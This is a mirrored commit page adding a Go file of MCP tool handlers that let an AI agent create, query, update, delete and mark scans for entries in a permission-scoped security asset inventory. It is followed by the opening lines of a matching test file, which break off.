mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-08-19 17:37:23 +02:00
Add files via upload
This commit is contained in:
+2256
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,511 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
const agentAssetPageSizeMax = 50
|
||||||
|
|
||||||
|
func registerAssetTools(server *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||||
|
if server == nil || db == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
properties := assetMutationProperties()
|
||||||
|
|
||||||
|
server.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolCreateAsset, ShortDescription: "新增或去重更新资产",
|
||||||
|
Description: "向资产库新增资产。按目标+端口+协议去重;若资产已存在则更新非空字段。至少提供 host、ip、domain 之一。",
|
||||||
|
// Bedrock rejects tool schemas with top-level oneOf/allOf/anyOf. The
|
||||||
|
// host/ip/domain requirement is enforced by assetFromCreateArgs below.
|
||||||
|
InputSchema: map[string]interface{}{"type": "object", "properties": properties},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
asset, err := assetFromCreateArgs(args)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
access, owner, global := assetAccessFromToolContext(ctx, "asset:write")
|
||||||
|
result, err := db.UpsertAssets([]*database.Asset{asset}, owner, global)
|
||||||
|
if err != nil {
|
||||||
|
logger.Error("Agent 保存资产失败", zap.Error(err))
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if result.Skipped > 0 || asset.ID == "" {
|
||||||
|
return textResult("资产未保存:同一资产已存在但当前用户无权更新,或目标字段为空", true), nil
|
||||||
|
}
|
||||||
|
saved, err := db.GetAsset(asset.ID, access)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("资产已保存,但无法读取结果: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
action := "created"
|
||||||
|
if result.Updated > 0 {
|
||||||
|
action = "updated"
|
||||||
|
}
|
||||||
|
return assetJSONResult(map[string]interface{}{"action": action, "asset": assetToolDetail(saved)})
|
||||||
|
})
|
||||||
|
|
||||||
|
server.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolGetAsset, ShortDescription: "按 ID 查看资产详情", Description: "按资产 ID 返回完整资产详情。查询列表时先用 query_assets,避免一次拉取过多详情。",
|
||||||
|
InputSchema: map[string]interface{}{"type": "object", "properties": map[string]interface{}{"id": map[string]interface{}{"type": "string", "description": "资产 ID"}}, "required": []string{"id"}},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, projectScoped, err := agentAssetProjectScope(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
asset, err := db.GetAsset(strings.TrimSpace(strArg(args, "id")), assetAccessOnly(ctx, "asset:read"))
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return textResult("错误: 资产不存在或无权查看", true), nil
|
||||||
|
}
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if projectScoped && strings.TrimSpace(asset.ProjectID) != projectID {
|
||||||
|
return textResult("错误: 资产不存在或不属于当前对话绑定的项目", true), nil
|
||||||
|
}
|
||||||
|
return assetJSONResult(assetToolDetail(asset))
|
||||||
|
})
|
||||||
|
|
||||||
|
server.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolQueryAssets, ShortDescription: "灵活分页查询资产",
|
||||||
|
Description: "分页查询资产。支持精确字段、时间范围、扫描状态和白名单排序。查最久未扫描资产请使用 sort_by=last_scan_at、sort_order=asc;从未扫描资产会排在最前。默认每页 20 条,最大 50 条,返回精简摘要;使用 get_asset 获取单条详情。",
|
||||||
|
InputSchema: assetQuerySchema(),
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
filter, page, pageSize, err := assetFilterFromToolArgs(args)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
projectID, projectScoped, err := agentAssetProjectScope(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if projectScoped {
|
||||||
|
// 对话绑定项目后,项目范围是服务端强制边界;不能通过工具参数扩大或切换范围。
|
||||||
|
filter.ProjectID = projectID
|
||||||
|
}
|
||||||
|
items, total, err := db.ListAssets(pageSize, (page-1)*pageSize, filter, assetAccessOnly(ctx, "asset:read"))
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
totalPages := (total + pageSize - 1) / pageSize
|
||||||
|
if totalPages < 1 {
|
||||||
|
totalPages = 1
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("资产查询:第 %d/%d 页,本页 %d 条,共 %d 条,page_size=%d\n", page, totalPages, len(items), total, pageSize))
|
||||||
|
for _, asset := range items {
|
||||||
|
b.WriteString(formatAssetListItem(asset))
|
||||||
|
b.WriteByte('\n')
|
||||||
|
}
|
||||||
|
if page < totalPages {
|
||||||
|
b.WriteString(fmt.Sprintf("下一页:保持筛选条件并设置 page=%d。", page+1))
|
||||||
|
}
|
||||||
|
return textResult(b.String(), false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
updateProperties := assetMutationProperties()
|
||||||
|
updateProperties["id"] = map[string]interface{}{"type": "string", "description": "资产 ID"}
|
||||||
|
server.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolUpdateAsset, ShortDescription: "局部更新资产",
|
||||||
|
Description: "按 ID 局部更新资产,只修改显式传入的字段;可传空 project_id 清除项目绑定,可传空 tags 清空标签。",
|
||||||
|
InputSchema: map[string]interface{}{"type": "object", "properties": updateProperties, "required": []string{"id"}},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
id := strings.TrimSpace(strArg(args, "id"))
|
||||||
|
access := assetAccessOnly(ctx, "asset:write")
|
||||||
|
asset, err := db.GetAsset(id, access)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: 资产不存在或无权更新", true), nil
|
||||||
|
}
|
||||||
|
if err := applyAssetPatch(asset, args); err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if err := db.UpdateAsset(id, asset, access); err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
updated, err := db.GetAsset(id, access)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("资产已更新,但无法读取结果: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
return assetJSONResult(map[string]interface{}{"action": "updated", "asset": assetToolDetail(updated)})
|
||||||
|
})
|
||||||
|
|
||||||
|
server.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolDeleteAsset, ShortDescription: "删除资产", Description: "按 ID 永久删除资产记录。仅在用户明确要求删除时调用。",
|
||||||
|
InputSchema: map[string]interface{}{"type": "object", "properties": map[string]interface{}{"id": map[string]interface{}{"type": "string", "description": "资产 ID"}}, "required": []string{"id"}},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
id := strings.TrimSpace(strArg(args, "id"))
|
||||||
|
if err := db.DeleteAsset(id, assetAccessOnly(ctx, "asset:delete")); err != nil {
|
||||||
|
return textResult("错误: 资产不存在或无权删除", true), nil
|
||||||
|
}
|
||||||
|
return textResult("资产已删除: "+id, false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
server.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolCompleteAssetScan,
|
||||||
|
ShortDescription: "完成资产扫描并回写结果",
|
||||||
|
Description: "目标扫描完成后调用:把资产的上次扫描时间更新为当前时间,并关联当前对话。相关漏洞数量不手填,而是自动统计当前扫描对话中通过 record_vulnerability 保存的漏洞。应在漏洞均已落库后调用;一个扫描对话建议只对应一个资产。",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"id": map[string]interface{}{"type": "string", "description": "已完成扫描的资产 ID"},
|
||||||
|
},
|
||||||
|
"required": []string{"id"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
id := strings.TrimSpace(strArg(args, "id"))
|
||||||
|
conversationID := conversationIDFromToolCtx(ctx)
|
||||||
|
if conversationID == "" {
|
||||||
|
return textResult("错误: 无法确定当前扫描对话", true), nil
|
||||||
|
}
|
||||||
|
access := assetAccessOnly(ctx, "asset:write")
|
||||||
|
if err := db.CompleteAssetScan(id, conversationID, access); err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return textResult("错误: 资产不存在或无权回写扫描结果", true), nil
|
||||||
|
}
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
updated, err := db.GetAsset(id, access)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("扫描结果已回写,但无法读取资产: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
return assetJSONResult(map[string]interface{}{
|
||||||
|
"action": "scan_completed",
|
||||||
|
"message": "上次扫描时间已更新;相关漏洞数由当前扫描对话中已保存的漏洞自动计算",
|
||||||
|
"asset": assetToolDetail(updated),
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetMutationProperties() map[string]interface{} {
|
||||||
|
return map[string]interface{}{
|
||||||
|
"project_id": map[string]interface{}{"type": "string"}, "host": map[string]interface{}{"type": "string"},
|
||||||
|
"ip": map[string]interface{}{"type": "string"}, "port": map[string]interface{}{"type": "integer", "minimum": 0, "maximum": 65535},
|
||||||
|
"domain": map[string]interface{}{"type": "string"}, "protocol": map[string]interface{}{"type": "string"},
|
||||||
|
"title": map[string]interface{}{"type": "string"}, "server": map[string]interface{}{"type": "string"},
|
||||||
|
"country": map[string]interface{}{"type": "string"}, "province": map[string]interface{}{"type": "string"}, "city": map[string]interface{}{"type": "string"},
|
||||||
|
"responsible_person": map[string]interface{}{"type": "string"}, "department": map[string]interface{}{"type": "string"},
|
||||||
|
"business_system": map[string]interface{}{"type": "string"},
|
||||||
|
"environment": map[string]interface{}{"type": "string", "enum": []string{"production", "staging", "testing", "development", "other"}},
|
||||||
|
"criticality": map[string]interface{}{"type": "string", "enum": []string{"critical", "high", "medium", "low"}},
|
||||||
|
"source": map[string]interface{}{"type": "string"}, "source_query": map[string]interface{}{"type": "string"},
|
||||||
|
"status": map[string]interface{}{"type": "string", "enum": []string{"active", "inactive"}},
|
||||||
|
"tags": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "maxItems": 50},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetQuerySchema() map[string]interface{} {
|
||||||
|
properties := map[string]interface{}{
|
||||||
|
"q": map[string]interface{}{"type": "string", "description": "模糊搜索 host、IP、域名、标题、服务和标签"},
|
||||||
|
"project_id": map[string]interface{}{"type": "string"}, "status": map[string]interface{}{"type": "string", "enum": []string{"active", "inactive"}},
|
||||||
|
"protocol": map[string]interface{}{"type": "string"}, "source": map[string]interface{}{"type": "string"}, "tag": map[string]interface{}{"type": "string"},
|
||||||
|
"host": map[string]interface{}{"type": "string"}, "ip": map[string]interface{}{"type": "string"}, "domain": map[string]interface{}{"type": "string"},
|
||||||
|
"port": map[string]interface{}{"type": "integer", "minimum": 0, "maximum": 65535},
|
||||||
|
"risk_level": map[string]interface{}{"type": "string", "enum": []string{"unassessed", "critical", "high", "medium", "low", "info", "normal"}},
|
||||||
|
"min_vulnerabilities": map[string]interface{}{"type": "integer", "minimum": 0},
|
||||||
|
"max_vulnerabilities": map[string]interface{}{"type": "integer", "minimum": 0},
|
||||||
|
"country": map[string]interface{}{"type": "string"}, "province": map[string]interface{}{"type": "string"}, "city": map[string]interface{}{"type": "string"},
|
||||||
|
"responsible_person": map[string]interface{}{"type": "string"}, "department": map[string]interface{}{"type": "string"},
|
||||||
|
"business_system": map[string]interface{}{"type": "string"}, "environment": map[string]interface{}{"type": "string"}, "criticality": map[string]interface{}{"type": "string"},
|
||||||
|
"scan_state": map[string]interface{}{"type": "string", "enum": []string{"never", "scanned"}, "description": "never=从未扫描,scanned=扫描过"},
|
||||||
|
"scan_overdue_days": map[string]interface{}{"type": "integer", "minimum": 1},
|
||||||
|
"last_scan_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
|
||||||
|
"last_scan_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
|
||||||
|
"first_seen_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
|
||||||
|
"first_seen_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
|
||||||
|
"last_seen_before": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
|
||||||
|
"last_seen_after": map[string]interface{}{"type": "string", "description": "RFC3339 时间或 YYYY-MM-DD"},
|
||||||
|
"sort_by": map[string]interface{}{"type": "string", "enum": []string{"last_seen_at", "last_scan_at", "first_seen_at", "created_at", "updated_at", "host", "port", "risk_level", "vulnerability_count"}},
|
||||||
|
"sort_order": map[string]interface{}{"type": "string", "enum": []string{"asc", "desc"}},
|
||||||
|
"page": map[string]interface{}{"type": "integer", "minimum": 1},
|
||||||
|
"page_size": map[string]interface{}{"type": "integer", "minimum": 1, "maximum": agentAssetPageSizeMax},
|
||||||
|
}
|
||||||
|
return map[string]interface{}{"type": "object", "properties": properties}
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetFromCreateArgs(args map[string]interface{}) (*database.Asset, error) {
|
||||||
|
asset := &database.Asset{}
|
||||||
|
if err := applyAssetPatch(asset, args); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(asset.Host) == "" && strings.TrimSpace(asset.IP) == "" && strings.TrimSpace(asset.Domain) == "" {
|
||||||
|
return nil, fmt.Errorf("host、ip、domain 至少需要一个")
|
||||||
|
}
|
||||||
|
return asset, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyAssetPatch(asset *database.Asset, args map[string]interface{}) error {
|
||||||
|
setString := func(key string, dst *string) {
|
||||||
|
if _, ok := args[key]; ok {
|
||||||
|
*dst = strings.TrimSpace(strArg(args, key))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
setString("project_id", &asset.ProjectID)
|
||||||
|
setString("host", &asset.Host)
|
||||||
|
setString("ip", &asset.IP)
|
||||||
|
setString("domain", &asset.Domain)
|
||||||
|
setString("protocol", &asset.Protocol)
|
||||||
|
setString("title", &asset.Title)
|
||||||
|
setString("server", &asset.Server)
|
||||||
|
setString("country", &asset.Country)
|
||||||
|
setString("province", &asset.Province)
|
||||||
|
setString("city", &asset.City)
|
||||||
|
setString("responsible_person", &asset.ResponsiblePerson)
|
||||||
|
setString("department", &asset.Department)
|
||||||
|
setString("business_system", &asset.BusinessSystem)
|
||||||
|
setString("environment", &asset.Environment)
|
||||||
|
setString("criticality", &asset.Criticality)
|
||||||
|
setString("source", &asset.Source)
|
||||||
|
setString("source_query", &asset.SourceQuery)
|
||||||
|
setString("status", &asset.Status)
|
||||||
|
if _, ok := args["port"]; ok {
|
||||||
|
port := intArg(args, "port", -1)
|
||||||
|
if port < 0 || port > 65535 {
|
||||||
|
return fmt.Errorf("port 必须在 0-65535 之间")
|
||||||
|
}
|
||||||
|
asset.Port = port
|
||||||
|
}
|
||||||
|
if raw, ok := args["tags"]; ok {
|
||||||
|
tags, err := stringSliceArg(raw)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("tags: %w", err)
|
||||||
|
}
|
||||||
|
asset.Tags = tags
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetFilterFromToolArgs(args map[string]interface{}) (database.AssetListFilter, int, int, error) {
|
||||||
|
filter := database.AssetListFilter{
|
||||||
|
Search: strings.TrimSpace(strArg(args, "q")), ProjectID: strings.TrimSpace(strArg(args, "project_id")), Status: strings.ToLower(strings.TrimSpace(strArg(args, "status"))),
|
||||||
|
Protocol: strings.ToLower(strings.TrimSpace(strArg(args, "protocol"))), Source: strings.TrimSpace(strArg(args, "source")), Tag: strings.TrimSpace(strArg(args, "tag")),
|
||||||
|
Host: strings.TrimSpace(strArg(args, "host")), IP: strings.TrimSpace(strArg(args, "ip")), Domain: strings.TrimSpace(strArg(args, "domain")),
|
||||||
|
ScanState: strings.ToLower(strings.TrimSpace(strArg(args, "scan_state"))), SortBy: strings.ToLower(strings.TrimSpace(strArg(args, "sort_by"))),
|
||||||
|
SortOrder: strings.ToLower(strings.TrimSpace(strArg(args, "sort_order"))),
|
||||||
|
RiskLevel: strings.ToLower(strings.TrimSpace(strArg(args, "risk_level"))),
|
||||||
|
Country: strings.TrimSpace(strArg(args, "country")), Province: strings.TrimSpace(strArg(args, "province")), City: strings.TrimSpace(strArg(args, "city")),
|
||||||
|
ResponsiblePerson: strings.TrimSpace(strArg(args, "responsible_person")), Department: strings.TrimSpace(strArg(args, "department")),
|
||||||
|
BusinessSystem: strings.TrimSpace(strArg(args, "business_system")), Environment: strings.ToLower(strings.TrimSpace(strArg(args, "environment"))),
|
||||||
|
Criticality: strings.ToLower(strings.TrimSpace(strArg(args, "criticality"))),
|
||||||
|
}
|
||||||
|
if !oneOfOrEmpty(filter.Status, "active", "inactive") {
|
||||||
|
return filter, 0, 0, fmt.Errorf("status 仅支持 active 或 inactive")
|
||||||
|
}
|
||||||
|
if !oneOfOrEmpty(filter.ScanState, "never", "scanned") {
|
||||||
|
return filter, 0, 0, fmt.Errorf("scan_state 仅支持 never 或 scanned")
|
||||||
|
}
|
||||||
|
if !oneOfOrEmpty(filter.SortBy, "last_seen_at", "last_scan_at", "first_seen_at", "created_at", "updated_at", "host", "port", "risk_level", "vulnerability_count") {
|
||||||
|
return filter, 0, 0, fmt.Errorf("sort_by 不受支持")
|
||||||
|
}
|
||||||
|
if !oneOfOrEmpty(filter.SortOrder, "asc", "desc") {
|
||||||
|
return filter, 0, 0, fmt.Errorf("sort_order 仅支持 asc 或 desc")
|
||||||
|
}
|
||||||
|
if _, ok := args["port"]; ok {
|
||||||
|
port := intArg(args, "port", -1)
|
||||||
|
if port < 0 || port > 65535 {
|
||||||
|
return filter, 0, 0, fmt.Errorf("port 必须在 0-65535 之间")
|
||||||
|
}
|
||||||
|
filter.Port = &port
|
||||||
|
}
|
||||||
|
if _, ok := args["min_vulnerabilities"]; ok {
|
||||||
|
value := intArg(args, "min_vulnerabilities", -1)
|
||||||
|
if value < 0 {
|
||||||
|
return filter, 0, 0, fmt.Errorf("min_vulnerabilities 不能小于 0")
|
||||||
|
}
|
||||||
|
filter.MinVulnerabilities = &value
|
||||||
|
}
|
||||||
|
if _, ok := args["max_vulnerabilities"]; ok {
|
||||||
|
value := intArg(args, "max_vulnerabilities", -1)
|
||||||
|
if value < 0 {
|
||||||
|
return filter, 0, 0, fmt.Errorf("max_vulnerabilities 不能小于 0")
|
||||||
|
}
|
||||||
|
filter.MaxVulnerabilities = &value
|
||||||
|
}
|
||||||
|
if _, ok := args["scan_overdue_days"]; ok {
|
||||||
|
value := intArg(args, "scan_overdue_days", 0)
|
||||||
|
if value < 1 {
|
||||||
|
return filter, 0, 0, fmt.Errorf("scan_overdue_days 必须大于 0")
|
||||||
|
}
|
||||||
|
filter.ScanOverdueDays = &value
|
||||||
|
}
|
||||||
|
var err error
|
||||||
|
if filter.LastScanBefore, err = parseAssetToolTime("last_scan_before", strArg(args, "last_scan_before")); err != nil {
|
||||||
|
return filter, 0, 0, err
|
||||||
|
}
|
||||||
|
if filter.LastScanAfter, err = parseAssetToolTime("last_scan_after", strArg(args, "last_scan_after")); err != nil {
|
||||||
|
return filter, 0, 0, err
|
||||||
|
}
|
||||||
|
if filter.FirstSeenBefore, err = parseAssetToolTime("first_seen_before", strArg(args, "first_seen_before")); err != nil {
|
||||||
|
return filter, 0, 0, err
|
||||||
|
}
|
||||||
|
if filter.FirstSeenAfter, err = parseAssetToolTime("first_seen_after", strArg(args, "first_seen_after")); err != nil {
|
||||||
|
return filter, 0, 0, err
|
||||||
|
}
|
||||||
|
if filter.LastSeenBefore, err = parseAssetToolTime("last_seen_before", strArg(args, "last_seen_before")); err != nil {
|
||||||
|
return filter, 0, 0, err
|
||||||
|
}
|
||||||
|
if filter.LastSeenAfter, err = parseAssetToolTime("last_seen_after", strArg(args, "last_seen_after")); err != nil {
|
||||||
|
return filter, 0, 0, err
|
||||||
|
}
|
||||||
|
page := intArg(args, "page", 1)
|
||||||
|
pageSize := intArg(args, "page_size", 20)
|
||||||
|
if page < 1 || page > 1_000_000 {
|
||||||
|
return filter, 0, 0, fmt.Errorf("page 必须在 1-1000000 之间")
|
||||||
|
}
|
||||||
|
if pageSize < 1 || pageSize > agentAssetPageSizeMax {
|
||||||
|
return filter, 0, 0, fmt.Errorf("page_size 必须在 1-%d 之间", agentAssetPageSizeMax)
|
||||||
|
}
|
||||||
|
return filter, page, pageSize, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func oneOfOrEmpty(value string, allowed ...string) bool {
|
||||||
|
if value == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
for _, candidate := range allowed {
|
||||||
|
if value == candidate {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseAssetToolTime(field, value string) (*time.Time, error) {
|
||||||
|
value = strings.TrimSpace(value)
|
||||||
|
if value == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
for _, layout := range []string{time.RFC3339, "2006-01-02"} {
|
||||||
|
if parsed, err := time.Parse(layout, value); err == nil {
|
||||||
|
return &parsed, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("%s 必须是 RFC3339 时间或 YYYY-MM-DD", field)
|
||||||
|
}
|
||||||
|
|
||||||
|
func stringSliceArg(raw interface{}) ([]string, error) {
|
||||||
|
values := []string{}
|
||||||
|
switch typed := raw.(type) {
|
||||||
|
case []string:
|
||||||
|
values = append(values, typed...)
|
||||||
|
case []interface{}:
|
||||||
|
for _, item := range typed {
|
||||||
|
value, ok := item.(string)
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("必须是字符串数组")
|
||||||
|
}
|
||||||
|
values = append(values, value)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("必须是字符串数组")
|
||||||
|
}
|
||||||
|
if len(values) > 50 {
|
||||||
|
return nil, fmt.Errorf("最多 50 个标签")
|
||||||
|
}
|
||||||
|
return values, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetAccessOnly(ctx context.Context, permission string) database.RBACListAccess {
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return database.RBACListAccess{}
|
||||||
|
}
|
||||||
|
return database.RBACListAccess{UserID: principal.UserID, Scope: principal.ScopeFor(permission)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetAccessFromToolContext(ctx context.Context, permission string) (database.RBACListAccess, string, bool) {
|
||||||
|
principal, ok := authctx.PrincipalFromContext(ctx)
|
||||||
|
if !ok {
|
||||||
|
return database.RBACListAccess{}, "", false
|
||||||
|
}
|
||||||
|
access := database.RBACListAccess{UserID: principal.UserID, Scope: principal.ScopeFor(permission)}
|
||||||
|
return access, principal.UserID, access.Scope == database.RBACScopeAll
|
||||||
|
}
|
||||||
|
|
||||||
|
// agentAssetProjectScope returns the hard asset-read boundary implied by the
|
||||||
|
// current conversation. An unbound conversation (or a tool call outside a
|
||||||
|
// conversation) keeps the existing all-accessible-assets behavior. A bound
|
||||||
|
// conversation can only read assets assigned to that exact project.
|
||||||
|
func agentAssetProjectScope(db *database.DB, ctx context.Context) (projectID string, scoped bool, err error) {
|
||||||
|
conversationID := conversationIDFromToolCtx(ctx)
|
||||||
|
if conversationID == "" {
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
projectID, err = db.GetConversationProjectID(conversationID)
|
||||||
|
if err != nil {
|
||||||
|
return "", false, fmt.Errorf("无法确定当前对话的项目范围")
|
||||||
|
}
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
return projectID, projectID != "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatAssetListItem(asset *database.Asset) string {
|
||||||
|
target := asset.Domain
|
||||||
|
if target == "" {
|
||||||
|
target = asset.IP
|
||||||
|
}
|
||||||
|
if target == "" {
|
||||||
|
target = asset.Host
|
||||||
|
}
|
||||||
|
if asset.Port > 0 {
|
||||||
|
target = fmt.Sprintf("%s:%d", target, asset.Port)
|
||||||
|
}
|
||||||
|
lastScan := "never"
|
||||||
|
if asset.LastScanAt != nil {
|
||||||
|
lastScan = asset.LastScanAt.Format(time.RFC3339)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("- id=%s | target=%s | protocol=%s | status=%s | last_scan_at=%s | risk=%s | vulnerabilities=%d", asset.ID, truncateRunes(target, 120), truncateRunes(asset.Protocol, 30), truncateRunes(asset.Status, 30), lastScan, asset.RiskLevel, asset.VulnerabilityCount)
|
||||||
|
}
|
||||||
|
|
||||||
|
// assetToolDetail keeps even a single unusually large imported record from
|
||||||
|
// consuming the model context. The database and HTTP API retain full values.
|
||||||
|
func assetToolDetail(asset *database.Asset) map[string]interface{} {
|
||||||
|
if asset == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
tags := make([]string, 0, len(asset.Tags))
|
||||||
|
for i, tag := range asset.Tags {
|
||||||
|
if i >= 50 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
tags = append(tags, truncateRunes(tag, 100))
|
||||||
|
}
|
||||||
|
detail := map[string]interface{}{
|
||||||
|
"id": asset.ID, "project_id": asset.ProjectID, "project_name": truncateRunes(asset.ProjectName, 200),
|
||||||
|
"host": truncateRunes(asset.Host, 500), "ip": truncateRunes(asset.IP, 100), "port": asset.Port,
|
||||||
|
"domain": truncateRunes(asset.Domain, 255), "protocol": truncateRunes(asset.Protocol, 50),
|
||||||
|
"title": truncateRunes(asset.Title, 500), "server": truncateRunes(asset.Server, 500),
|
||||||
|
"country": truncateRunes(asset.Country, 100), "province": truncateRunes(asset.Province, 100), "city": truncateRunes(asset.City, 100),
|
||||||
|
"responsible_person": truncateRunes(asset.ResponsiblePerson, 255), "department": truncateRunes(asset.Department, 255),
|
||||||
|
"business_system": truncateRunes(asset.BusinessSystem, 255), "environment": asset.Environment, "criticality": asset.Criticality,
|
||||||
|
"source": truncateRunes(asset.Source, 100), "source_query": truncateRunes(asset.SourceQuery, 2000),
|
||||||
|
"status": truncateRunes(asset.Status, 50), "tags": tags,
|
||||||
|
"first_seen_at": asset.FirstSeenAt, "last_seen_at": asset.LastSeenAt, "created_at": asset.CreatedAt, "updated_at": asset.UpdatedAt,
|
||||||
|
"last_scan_conversation_id": asset.LastScanConversationID, "last_scan_queue_id": asset.LastScanQueueID, "last_scan_task_id": asset.LastScanTaskID,
|
||||||
|
"vulnerability_count": asset.VulnerabilityCount, "risk_level": asset.RiskLevel,
|
||||||
|
}
|
||||||
|
if asset.LastScanAt != nil {
|
||||||
|
detail["last_scan_at"] = asset.LastScanAt
|
||||||
|
}
|
||||||
|
if len(asset.Tags) > len(tags) {
|
||||||
|
detail["tags_truncated"] = true
|
||||||
|
}
|
||||||
|
return detail
|
||||||
|
}
|
||||||
|
|
||||||
|
func assetJSONResult(value interface{}) (*mcp.ToolResult, error) {
|
||||||
|
encoded, err := json.MarshalIndent(value, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
return textResult(string(encoded), false), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,201 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAssetToolsCRUDQueryAndPageLimit(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "asset-tools.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
